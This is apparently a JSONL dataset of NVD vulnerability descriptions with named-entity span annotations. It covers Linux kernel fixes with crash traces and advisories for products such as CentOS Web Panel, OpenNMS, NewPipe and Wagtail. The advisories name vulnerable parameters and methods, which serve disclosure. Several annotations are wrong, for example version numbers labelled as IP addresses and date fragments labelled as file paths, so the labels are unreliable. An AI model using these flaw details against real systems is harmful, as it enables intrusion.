hfsplus_brec_find+0x28f/0x510\n[  117.319949][ T9855]  ? __pfx_hfs_find_rec_by_key+0x10/0x10\n[  117.319956][ T9855]  ? __pfx_hfsplus_brec_find+0x10/0x10\n[  117.319963][ T9855]  ? __kmalloc_noprof+0x2a9/0x510\n[  117.319969][ T9855]  ? hfsplus_find_init+0x8c/0x1d0\n[  117.319976][ T9855]  hfsplus_brec_read+0x2b/0x120\n[  117.319983][ T9855]  hfsplus_lookup+0x2aa/0x890\n[  117.319990][ T9855]  ? __pfx_hfsplus_lookup+0x10/0x10\n[  117.320003][ T9855]  ? d_alloc_parallel+0x2f0/0x15e0\n[  117.320008][ T9855]  ? __lock_acquire+0xaec/0xd80\n[  117.320013][ T9855]  ? __pfx_d_alloc_parallel+0x10/0x10\n[  117.320019][ T9855]  ? __raw_spin_lock_init+0x45/0x100\n[  117.320026][ T9855]  ? __init_waitqueue_head+0xa9/0x150\n[  117.320034][ T9855]  __lookup_slow+0x297/0x3d0\n[  117.320039][ T9855]  ? __pfx___lookup_slow+0x10/0x10\n[  117.320045][ T9855]  ? down_read+0x1ad/0x2e0\n[  117.320055][ T9855]  lookup_slow+0x53/0x70\n[  117.320065][ T9855]  walk_component+0x2f0/0x430\n[  117.320073][ T9855]  path_lookupat+0x169/0x440\n[  117.320081][ T9855]  filename_lookup+0x212/0x590\n[  117.320089][ T9855]  ? __pfx_filename_lookup+0x10/0x10\n[  117.320098][ T9855]  ? strncpy_from_user+0x150/0x290\n[  117.320105][ T9855]  ? getname_flags+0x1e5/0x540\n[  117.320112][ T9855]  user_path_at+0x3a/0x60\n[  117.320117][ T9855]  __x64_sys_umount+0xee/0x160\n[  117.320123][ T9855]  ? __pfx___x64_sys_umount+0x10/0x10\n[  117.320129][ T9855]  ? do_syscall_64+0xb7/0x3a0\n[  117.320135][ T9855]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[  117.320141][ T9855]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[  117.320145][ T9855]  do_syscall_64+0xf3/0x3a0\n[  117.320150][ T9855]  ? exc_page_fault+0x9f/0xf0\n[  117.320154][ T9855]  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n[  117.320158][ T9855] RIP: 0033:0x7f7dd7908b07\n[  117.320163][ T9855] Code: 23 0d 00 f7 d8 64 89 01 48 83 c8 ff c3 66 0f 1f 44 00 00 31 f6 e9 09 00 00 00 66 0f 1f 84 00 00 08\n[  117.320167][ T9855] RSP: 002b:00007ffd5ebd9698 EFLAGS: 00000202 \n---truncated---", "spans": {"FILEPATH: /01/2014": [[681, 689]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[607, 611]], "ORGANIZATION: Ubuntu": [[612, 618]], "VULNERABILITY: out-of-bounds read": [[87, 105]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40088"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Marvell QConvergeConsole 5.5.0.64. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the writeObjectToConfigFile method of the GWTTestServiceImpl class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-10565.", "spans": {"IP_ADDRESS: 5.5.0.64": [[123, 131]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17387"}}
{"text": "In OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to CSRF, due to no CSRF protection at `/opennms/admin/userGroupView/users/updateUser`. This flaw allows assigning `ROLE_ADMIN` security role to a normal user. Using this flaw, an attacker can trick the admin user to assign administrator privileges to a normal user by enticing him to click upon an attacker-controlled website.", "spans": {"FILEPATH: /opennms/admin/userGroupView/users/updateUser": [[297, 342]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-25931"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommufd: Set end correctly when doing batch carry\n\nEven though the test suite covers this it somehow became obscured that\nthis wasn't working.\n\nThe test iommufd_ioas.mock_domain.access_domain_destory would blow up\nrarely.\n\nend should be set to 1 because this just pushed an item, the carry, to the\npfns list.\n\nSometimes the test would blow up with:\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000000\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 0 P4D 0\n  Oops: 0000 [#1] SMP\n  CPU: 5 PID: 584 Comm: iommufd Not tainted 6.5.0-rc1-dirty #1236\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n  RIP: 0010:batch_unpin+0xa2/0x100 [iommufd]\n  Code: 17 48 81 fe ff ff 07 00 77 70 48 8b 15 b7 be 97 e2 48 85 d2 74 14 48 8b 14 fa 48 85 d2 74 0b 40 0f b6 f6 48 c1 e6 04 48 01 f2 <48> 8b 3a 48 c1 e0 06 89 ca 48 89 de 48 83 e7 f0 48 01 c7 e8 96 dc\n  RSP: 0018:ffffc90001677a58 EFLAGS: 00010246\n  RAX: 00007f7e2646f000 RBX: 0000000000000000 RCX: 0000000000000001\n  RDX: 0000000000000000 RSI: 00000000fefc4c8d RDI: 0000000000fefc4c\n  RBP: ffffc90001677a80 R08: 0000000000000048 R09: 0000000000000200\n  R10: 0000000000030b98 R11: ffffffff81f3bb40 R12: 0000000000000001\n  R13: ffff888101f75800 R14: ffffc90001677ad0 R15: 00000000000001fe\n  FS:  00007f9323679740(0000) GS:ffff8881ba540000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 0000000000000000 CR3: 0000000105ede003 CR4: 00000000003706a0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  Call Trace:\n   <TASK>\n   ? show_regs+0x5c/0x70\n   ? __die+0x1f/0x60\n   ? page_fault_oops+0x15d/0x440\n   ? lock_release+0xbc/0x240\n   ? exc_page_fault+0x4a4/0x970\n   ? asm_exc_page_fault+0x27/0x30\n   ? batch_unpin+0xa2/0x100 [iommufd]\n   ? batch_unpin+0xba/0x100 [iommufd]\n   __iopt_area_unfill_domain+0x198/0x430 [iommufd]\n   ? __mutex_lock+0x8c/0xb80\n   ? __mutex_lock+0x6aa/0xb80\n   ? xa_erase+0x28/0x30\n   ? iopt_table_remove_domain+0x162/0x320 [iommufd]\n   ? lock_release+0xbc/0x240\n   iopt_area_unfill_domain+0xd/0x10 [iommufd]\n   iopt_table_remove_domain+0x195/0x320 [iommufd]\n   iommufd_hw_pagetable_destroy+0xb3/0x110 [iommufd]\n   iommufd_object_destroy_user+0x8e/0xf0 [iommufd]\n   iommufd_device_detach+0xc5/0x140 [iommufd]\n   iommufd_selftest_destroy+0x1f/0x70 [iommufd]\n   iommufd_object_destroy_user+0x8e/0xf0 [iommufd]\n   iommufd_destroy+0x3a/0x50 [iommufd]\n   iommufd_fops_ioctl+0xfb/0x170 [iommufd]\n   __x64_sys_ioctl+0x40d/0x9a0\n   do_syscall_64+0x3c/0x80\n   entry_SYSCALL_64_after_hwframe+0x46/0xb0", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[736, 780]], "FILEPATH: /01/2014": [[783, 791]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[694, 698]], "VULNERABILITY: NULL pointer dereference": [[433, 457]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54060"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narch_topology: Avoid use-after-free for scale_freq_data\n\nCurrently topology_scale_freq_tick() (which gets called from\nscheduler_tick()) may end up using a pointer to \"struct\nscale_freq_data\", which was previously cleared by\ntopology_clear_scale_freq_source(), as there is no protection in place\nhere. The users of topology_clear_scale_freq_source() though needs a\nguarantee that the previously cleared scale_freq_data isn't used\nanymore, so they can free the related resources.\n\nSince topology_scale_freq_tick() is called from scheduler tick, we don't\nwant to add locking in there. Use the RCU update mechanism instead\n(which is already used by the scheduler's utilization update path) to\nguarantee race free updates here.\n\nsynchronize_rcu() makes sure that all RCU critical sections that started\nbefore it is called, will finish before it returns. And so the callers\nof topology_clear_scale_freq_source() don't need to worry about their\ncallback getting called anymore.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[90, 104]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47318"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: class: cdc-wdm: Fix CPU lockup caused by excessive log messages\n\nThe syzbot fuzzer found that the interrupt-URB completion callback in\nthe cdc-wdm driver was taking too long, and the driver's immediate\nresubmission of interrupt URBs with -EPROTO status combined with the\ndummy-hcd emulation to cause a CPU lockup:\n\ncdc_wdm 1-1:1.0: nonzero urb status received: -71\ncdc_wdm 1-1:1.0: wdm_int_callback - 0 bytes\nwatchdog: BUG: soft lockup - CPU#0 stuck for 26s! [syz-executor782:6625]\nCPU#0 Utilization every 4s during lockup:\n\t#1:  98% system,\t  0% softirq,\t  3% hardirq,\t  0% idle\n\t#2:  98% system,\t  0% softirq,\t  3% hardirq,\t  0% idle\n\t#3:  98% system,\t  0% softirq,\t  3% hardirq,\t  0% idle\n\t#4:  98% system,\t  0% softirq,\t  3% hardirq,\t  0% idle\n\t#5:  98% system,\t  1% softirq,\t  3% hardirq,\t  0% idle\nModules linked in:\nirq event stamp: 73096\nhardirqs last  enabled at (73095): [<ffff80008037bc00>] console_emit_next_record kernel/printk/printk.c:2935 [inline]\nhardirqs last  enabled at (73095): [<ffff80008037bc00>] console_flush_all+0x650/0xb74 kernel/printk/printk.c:2994\nhardirqs last disabled at (73096): [<ffff80008af10b00>] __el1_irq arch/arm64/kernel/entry-common.c:533 [inline]\nhardirqs last disabled at (73096): [<ffff80008af10b00>] el1_interrupt+0x24/0x68 arch/arm64/kernel/entry-common.c:551\nsoftirqs last  enabled at (73048): [<ffff8000801ea530>] softirq_handle_end kernel/softirq.c:400 [inline]\nsoftirqs last  enabled at (73048): [<ffff8000801ea530>] handle_softirqs+0xa60/0xc34 kernel/softirq.c:582\nsoftirqs last disabled at (73043): [<ffff800080020de8>] __do_softirq+0x14/0x20 kernel/softirq.c:588\nCPU: 0 PID: 6625 Comm: syz-executor782 Tainted: G        W          6.10.0-rc2-syzkaller-g8867bbd4a056 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\n\nTesting showed that the problem did not occur if the two error\nmessages -- the first two lines above -- were removed; apparently adding\nmaterial to the kernel log takes a surprisingly large amount of time.\n\nIn any case, the best approach for preventing these lockups and to\navoid spamming the log with thousands of error messages per second is\nto ratelimit the two dev_err() calls.  Therefore we replace them with\ndev_err_ratelimited().", "spans": {"FILEPATH: /printk/printk.c": [[1007, 1023], [1130, 1146]], "FILEPATH: /arm64/kernel/entry-common.c": [[1222, 1250], [1348, 1376]], "FILEPATH: /02/2024": [[1878, 1886]], "FILEPATH: softirq.c": [[1463, 1472], [1577, 1586], [1677, 1686]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1812, 1818], [1819, 1825], [1841, 1847], [1869, 1875]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40904"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: support deferring bpf_link dealloc to after RCU grace period\n\nBPF link for some program types is passed as a \"context\" which can be\nused by those BPF programs to look up additional information. E.g., for\nmulti-kprobes and multi-uprobes, link is used to fetch BPF cookie values.\n\nBecause of this runtime dependency, when bpf_link refcnt drops to zero\nthere could still be active BPF programs running accessing link data.\n\nThis patch adds generic support to defer bpf_link dealloc callback to\nafter RCU GP, if requested. This is done by exposing two different\ndeallocation callbacks, one synchronous and one deferred. If deferred\none is provided, bpf_link_free() will schedule dealloc_deferred()\ncallback to happen after RCU GP.\n\nBPF is using two flavors of RCU: \"classic\" non-sleepable one and RCU\ntasks trace one. The latter is used when sleepable BPF programs are\nused. bpf_link_free() accommodates that by checking underlying BPF\nprogram's sleepable flag, and goes either through normal RCU GP only for\nnon-sleepable, or through RCU tasks trace GP *and* then normal RCU GP\n(taking into account rcu_trace_implies_rcu_gp() optimization), if BPF\nprogram is sleepable.\n\nWe use this for multi-kprobe and multi-uprobe links, which dereference\nlink during program run. We also preventively switch raw_tp link to use\ndeferred dealloc callback, as upcoming changes in bpf-next tree expose\nraw_tp link data (specifically, cookie value) to BPF program at runtime\nas well.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35860"}}
{"text": "The Apache Pulsar C++ Client does not verify peer TLS certificates when making HTTPS calls for the OAuth2.0 Client Credential Flow, even when tlsAllowInsecureConnection is disabled via configuration. This vulnerability allows an attacker to perform a man in the middle attack and intercept and/or modify the GET request that is sent to the ClientCredentialFlow 'issuer url'. The intercepted credentials can be used to acquire authentication data from the OAuth2.0 server to then authenticate with an Apache Pulsar cluster. An attacker can only take advantage of this vulnerability by taking control of a machine 'between' the client and the server. The attacker must then actively manipulate traffic to perform the attack. The Apache Pulsar Python Client wraps the C++ client, so it is also vulnerable in the same way. This issue affects Apache Pulsar C++ Client and Python Client versions 2.7.0 to 2.7.4; 2.8.0 to 2.8.3; 2.9.0 to 2.9.2; 2.10.0 to 2.10.1; 2.6.4 and earlier. Any users running affected versions of the C++ Client or the Python Client should rotate vulnerable OAuth2.0 credentials, including client_id and client_secret. 2.7 C++ and Python Client users should upgrade to 2.7.5 and rotate vulnerable OAuth2.0 credentials. 2.8 C++ and Python Client users should upgrade to 2.8.4 and rotate vulnerable OAuth2.0 credentials. 2.9 C++ and Python Client users should upgrade to 2.9.3 and rotate vulnerable OAuth2.0 credentials. 2.10 C++ and Python Client users should upgrade to 2.10.2 and rotate vulnerable OAuth2.0 credentials. 3.0 C++ users are unaffected and 3.0 Python Client users will be unaffected when it is released. Any users running the C++ and Python Client for 2.6 or less should upgrade to one of the above patched versions.", "spans": {"SYSTEM: Apache Pulsar": [[4, 17], [500, 513], [727, 740], [838, 851]], "SYSTEM: Python": [[741, 747], [867, 873], [1036, 1042], [1148, 1154], [1248, 1254], [1348, 1354], [1449, 1455], [1575, 1581], [1665, 1671]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-33684"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_dashboard.php. When parsing the service_start parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9719.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_dashboard.php": [[228, 246]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15435"}}
{"text": "NewPipe is an Android app for video streaming written in Java. It supports exporting and importing backups, as a way to let users move their data to a new device effortlessly. However, in versions 0.13.4 through 0.26.1, importing a backup file from an untrusted source could have resulted in Arbitrary Code Execution. This is because backups are serialized/deserialized using Java's Object Serialization Stream Protocol, which can allow constructing any class in the app, unless properly restricted.\n\nTo exploit this vulnerability, an attacker would need to build a backup file containing the exploit, and then persuade a user into importing it. During the import process, the malicious code would be executed, possibly crashing the app, stealing user data from the NewPipe app, performing nasty actions through Android APIs, and attempting Android JVM/Sandbox escapes through vulnerabilities in the Android OS.\n\nThe attack can take place only if the user imports a malicious backup file, so an attacker would need to trick a user into importing a backup file from a source they can control. The implementation details of the malicious backup file can be independent of the attacked user or the device they are being run on, and do not require additional privileges.\n\nAll NewPipe versions from 0.13.4 to 0.26.1 are vulnerable. NewPipe version 0.27.0 fixes the issue by doing the following: Restrict the classes that can be deserialized when calling Java's Object Serialization Stream Protocol, by adding a whitelist with only innocuous data-only classes that can't lead to Arbitrary Code Execution; deprecate backups serialized with Java's Object Serialization Stream Protocol; use JSON serialization for all newly created backups (but still include an alternative file serialized with Java's Object Serialization Stream Protocol in the backup zip for backwards compatibility); show a warning to the user when attempting to import a backup where the only available serialization mode is Java's Object Serialization Stream Protocol (note that in the future this serialization mode will be removed completely).", "spans": {"SYSTEM: Android": [[14, 21], [812, 819], [841, 848], [900, 907]], "SYSTEM: Java": [[57, 61], [376, 380], [1449, 1453], [1633, 1637], [1786, 1790], [1987, 1991]], "VULNERABILITY: Code Execution": [[302, 316], [1583, 1597]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-32876"}}
{"text": "Versions of the package pubnub before 7.4.0; all versions of the package com.pubnub:pubnub; versions of the package pubnub before 6.19.0; all versions of the package github.com/pubnub/go; versions of the package github.com/pubnub/go/v7 before 7.2.0; versions of the package pubnub before 7.3.0; versions of the package pubnub/pubnub before 6.1.0; versions of the package pubnub before 5.3.0; versions of the package pubnub before 0.4.0; versions of the package pubnub/c-core before 4.5.0; versions of the package com.pubnub:pubnub-kotlin before 7.7.0; versions of the package pubnub/swift before 6.2.0; versions of the package pubnub before 5.2.0; versions of the package pubnub before 4.3.0 are vulnerable to Insufficient Entropy via the getKey function, due to inefficient implementation of the AES-256-CBC cryptographic algorithm. The provided encrypt function is less secure when hex encoding and trimming are applied, leaving half of the bits in the key always the same for every encoded message or file.\r\r**Note:**\r\rIn order to exploit this vulnerability, the attacker needs to invest resources in preparing the attack and brute-force the encryption.", "spans": {"DOMAIN: github.com": [[166, 176], [212, 222]], "FILEPATH: /pubnub/go": [[176, 186]], "FILEPATH: /pubnub/go/v7": [[222, 235]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-26154"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nax25: fix incorrect dev_tracker usage\n\nWhile investigating a separate rose issue [1], and enabling\nCONFIG_NET_DEV_REFCNT_TRACKER=y, Bernard reported an orthogonal ax25 issue [2]\n\nAn ax25_dev can be used by one (or many) struct ax25_cb.\nWe thus need different dev_tracker, one per struct ax25_cb.\n\nAfter this patch is applied, we are able to focus on rose.\n\n[1] https://lore.kernel.org/netdev/fb7544a1-f42e-9254-18cc-c9b071f4ca70@free.fr/\n\n[2]\n[  205.798723] reference already released.\n[  205.798732] allocated in:\n[  205.798734]  ax25_bind+0x1a2/0x230 [ax25]\n[  205.798747]  __sys_bind+0xea/0x110\n[  205.798753]  __x64_sys_bind+0x18/0x20\n[  205.798758]  do_syscall_64+0x5c/0x80\n[  205.798763]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n[  205.798768] freed in:\n[  205.798770]  ax25_release+0x115/0x370 [ax25]\n[  205.798778]  __sock_release+0x42/0xb0\n[  205.798782]  sock_close+0x15/0x20\n[  205.798785]  __fput+0x9f/0x260\n[  205.798789]  ____fput+0xe/0x10\n[  205.798792]  task_work_run+0x64/0xa0\n[  205.798798]  exit_to_user_mode_prepare+0x18b/0x190\n[  205.798804]  syscall_exit_to_user_mode+0x26/0x40\n[  205.798808]  do_syscall_64+0x69/0x80\n[  205.798812]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n[  205.798827] ------------[ cut here ]------------\n[  205.798829] WARNING: CPU: 2 PID: 2605 at lib/ref_tracker.c:136 ref_tracker_free.cold+0x60/0x81\n[  205.798837] Modules linked in: rose netrom mkiss ax25 rfcomm cmac algif_hash algif_skcipher af_alg bnep snd_hda_codec_hdmi nls_iso8859_1 i915 rtw88_8821ce rtw88_8821c x86_pkg_temp_thermal rtw88_pci intel_powerclamp rtw88_core snd_hda_codec_realtek snd_hda_codec_generic ledtrig_audio coretemp snd_hda_intel kvm_intel snd_intel_dspcfg mac80211 snd_hda_codec kvm i2c_algo_bit drm_buddy drm_dp_helper btusb drm_kms_helper snd_hwdep btrtl snd_hda_core btbcm joydev crct10dif_pclmul btintel crc32_pclmul ghash_clmulni_intel mei_hdcp btmtk intel_rapl_msr aesni_intel bluetooth input_leds snd_pcm crypto_simd syscopyarea processor_thermal_device_pci_legacy sysfillrect cryptd intel_soc_dts_iosf snd_seq sysimgblt ecdh_generic fb_sys_fops rapl libarc4 processor_thermal_device intel_cstate processor_thermal_rfim cec snd_timer ecc snd_seq_device cfg80211 processor_thermal_mbox mei_me processor_thermal_rapl mei rc_core at24 snd intel_pch_thermal intel_rapl_common ttm soundcore int340x_thermal_zone video\n[  205.798948]  mac_hid acpi_pad sch_fq_codel ipmi_devintf ipmi_msghandler drm msr parport_pc ppdev lp parport ramoops pstore_blk reed_solomon pstore_zone efi_pstore ip_tables x_tables autofs4 hid_generic usbhid hid i2c_i801 i2c_smbus r8169 xhci_pci ahci libahci realtek lpc_ich xhci_pci_renesas [last unloaded: ax25]\n[  205.798992] CPU: 2 PID: 2605 Comm: ax25ipd Not tainted 5.18.11-F6BVP #3\n[  205.798996] Hardware name: To be filled by O.E.M. To be filled by O.E.M./CK3, BIOS 5.011 09/16/2020\n[  205.798999] RIP: 0010:ref_tracker_free.cold+0x60/0x81\n[  205.799005] Code: e8 d2 01 9b ff 83 7b 18 00 74 14 48 c7 c7 2f d7 ff 98 e8 10 6e fc ff 8b 7b 18 e8 b8 01 9b ff 4c 89 ee 4c 89 e7 e8 5d fd 07 00 <0f> 0b b8 ea ff ff ff e9 30 05 9b ff 41 0f b6 f7 48 c7 c7 a0 fa 4e\n[  205.799008] RSP: 0018:ffffaf5281073958 EFLAGS: 00010286\n[  205.799011] RAX: 0000000080000000 RBX: ffff9a0bd687ebe0 RCX: 0000000000000000\n[  205.799014] RDX: 0000000000000001 RSI: 0000000000000282 RDI: 00000000ffffffff\n[  205.799016] RBP: ffffaf5281073a10 R08: 0000000000000003 R09: fffffffffffd5618\n[  205.799019] R10: 0000000000ffff10 R11: 000000000000000f R12: ffff9a0bc53384d0\n[  205.799022] R13: 0000000000000282 R14: 00000000ae000001 R15: 0000000000000001\n[  205.799024] FS:  0000000000000000(0000) GS:ffff9a0d0f300000(0000) knlGS:0000000000000000\n[  205.799028] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  205.799031] CR2: 00007ff6b8311554 CR3: 000000001ac10004 CR4: 00000000001706e0\n[  205.799033] Call Trace:\n[  205.799035]  <TASK>\n[  205.799038]  ? ax25_dev_device_down+0xd9/\n---truncated---", "spans": {"URL: https://lore.kernel.org/netdev/fb7544a1-f42e-9254-18cc-c9b071f4ca70@free.fr/": [[430, 506]], "FILEPATH: /16/2020": [[2905, 2913]], "FILEPATH: ref_tracker.c": [[1367, 1380]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50163"}}
{"text": "Wagtail is an open source content management system built on Django. A cross-site scripting vulnerability exists in versions 2.13-2.13.1, versions 2.12-2.12.4, and versions prior to 2.11.8. When the `{% include_block %}` template tag is used to output the value of a plain-text StreamField block (`CharBlock`, `TextBlock` or a similar user-defined block derived from `FieldBlock`), and that block does not specify a template for rendering, the tag output is not properly escaped as HTML. This could allow users to insert arbitrary HTML or scripting. This vulnerability is only exploitable by users with the ability to author StreamField content (i.e. users with 'editor' access to the Wagtail admin). Patched versions have been released as Wagtail 2.11.8 (for the LTS 2.11 branch), Wagtail 2.12.5, and Wagtail 2.13.2 (for the current 2.13 branch). As a workaround, site implementors who are unable to upgrade to a current supported version should audit their use of `{% include_block %}` to ensure it is not used to output `CharBlock` / `TextBlock` values with no associated template. Note that this only applies where `{% include_block %}` is used directly on that block (uses of `include_block` on a block _containing_ a CharBlock / TextBlock, such as a StructBlock, are unaffected). In these cases, the tag can be replaced with Django's `{{ ... }}` syntax - e.g. `{% include_block my_title_block %}` becomes `{{ my_title_block }}`.", "spans": {"VULNERABILITY: cross-site scripting": [[71, 91]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32681"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: dvb-frontends: dib3000mb: fix uninit-value in dib3000_write_reg\n\nSyzbot reports [1] an uninitialized value issue found by KMSAN in\ndib3000_read_reg().\n\nLocal u8 rb[2] is used in i2c_transfer() as a read buffer; in case\nthat call fails, the buffer may end up with some undefined values.\n\nSince no elaborate error handling is expected in dib3000_write_reg(),\nsimply zero out rb buffer to mitigate the problem.\n\n[1] Syzkaller report\ndvb-usb: bulk message failed: -22 (6/0)\n=====================================================\nBUG: KMSAN: uninit-value in dib3000mb_attach+0x2d8/0x3c0 drivers/media/dvb-frontends/dib3000mb.c:758\n dib3000mb_attach+0x2d8/0x3c0 drivers/media/dvb-frontends/dib3000mb.c:758\n dibusb_dib3000mb_frontend_attach+0x155/0x2f0 drivers/media/usb/dvb-usb/dibusb-mb.c:31\n dvb_usb_adapter_frontend_init+0xed/0x9a0 drivers/media/usb/dvb-usb/dvb-usb-dvb.c:290\n dvb_usb_adapter_init drivers/media/usb/dvb-usb/dvb-usb-init.c:90 [inline]\n dvb_usb_init drivers/media/usb/dvb-usb/dvb-usb-init.c:186 [inline]\n dvb_usb_device_init+0x25a8/0x3760 drivers/media/usb/dvb-usb/dvb-usb-init.c:310\n dibusb_probe+0x46/0x250 drivers/media/usb/dvb-usb/dibusb-mb.c:110\n...\nLocal variable rb created at:\n dib3000_read_reg+0x86/0x4e0 drivers/media/dvb-frontends/dib3000mb.c:54\n dib3000mb_attach+0x123/0x3c0 drivers/media/dvb-frontends/dib3000mb.c:758\n...", "spans": {"FILEPATH: /media/dvb-frontends/dib3000mb.c": [[664, 696], [738, 770], [1308, 1340], [1381, 1413]], "FILEPATH: /media/usb/dvb-usb/dibusb-mb.c": [[828, 858], [1203, 1233]], "FILEPATH: /media/usb/dvb-usb/dvb-usb-dvb.c": [[911, 943]], "FILEPATH: /media/usb/dvb-usb/dvb-usb-init.c": [[977, 1010], [1044, 1077], [1133, 1166]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56769"}}
{"text": "Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Fusion Middleware (component: Visual Analyzer). Supported versions that are affected are 5.5.0.0.0 and 5.9.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 5.5.0.0": [[176, 183]], "IP_ADDRESS: 5.9.0.0": [[190, 197]], "ORGANIZATION: Oracle": [[21, 27], [80, 86], [309, 315], [475, 481], [704, 710], [819, 825]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21419"}}
{"text": "DataHub is an open-source metadata platform. The HMAC signature for DataHub Frontend sessions was being signed using a SHA-1 HMAC with the frontend secret key. SHA1 with a 10 byte key can be brute forced using sufficient resources (i.e. state level actors with large computational capabilities). DataHub Frontend was utilizing the Play LegacyCookiesModule with default settings which utilizes a SHA1 HMAC for signing. This is compounded by using a shorter key length than recommended by default for the signing key for the randomized secret value. An authenticated attacker (or attacker who has otherwise obtained a session token) could crack the signing key for DataHub and obtain escalated privileges by generating a privileged session cookie. Due to key length being a part of the risk, deployments should update to the latest helm chart and rotate their session signing secret. All deployments using the default helm chart configurations for generating the Play secret key used for signing are affected by this vulnerability. Version 0.11.1 resolves this vulnerability. All users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-47640"}}
{"text": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.1, 40.8.0, and 41.0.0-beta.8, apps that use the powerMonitor module may be vulnerable to a use-after-free. After the native PowerMonitor object is garbage-collected, the associated OS-level resources (a message window on Windows, a shutdown handler on macOS) retain dangling references. A subsequent session-change event (Windows) or system shutdown (macOS) dereferences freed memory, which may lead to a crash or memory corruption. All apps that access powerMonitor events (suspend, resume, lock-screen, etc.) are potentially affected. The issue is not directly renderer-controllable. This issue has been patched in versions 38.8.6, 39.8.1, 40.8.0, and 41.0.0-beta.8.", "spans": {"SYSTEM: Windows": [[356, 363], [457, 464]], "SYSTEM: macOS": [[387, 392], [486, 491]], "VULNERABILITY: memory corruption": [[549, 566]], "VULNERABILITY: use-after-free": [[226, 240]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34770"}}
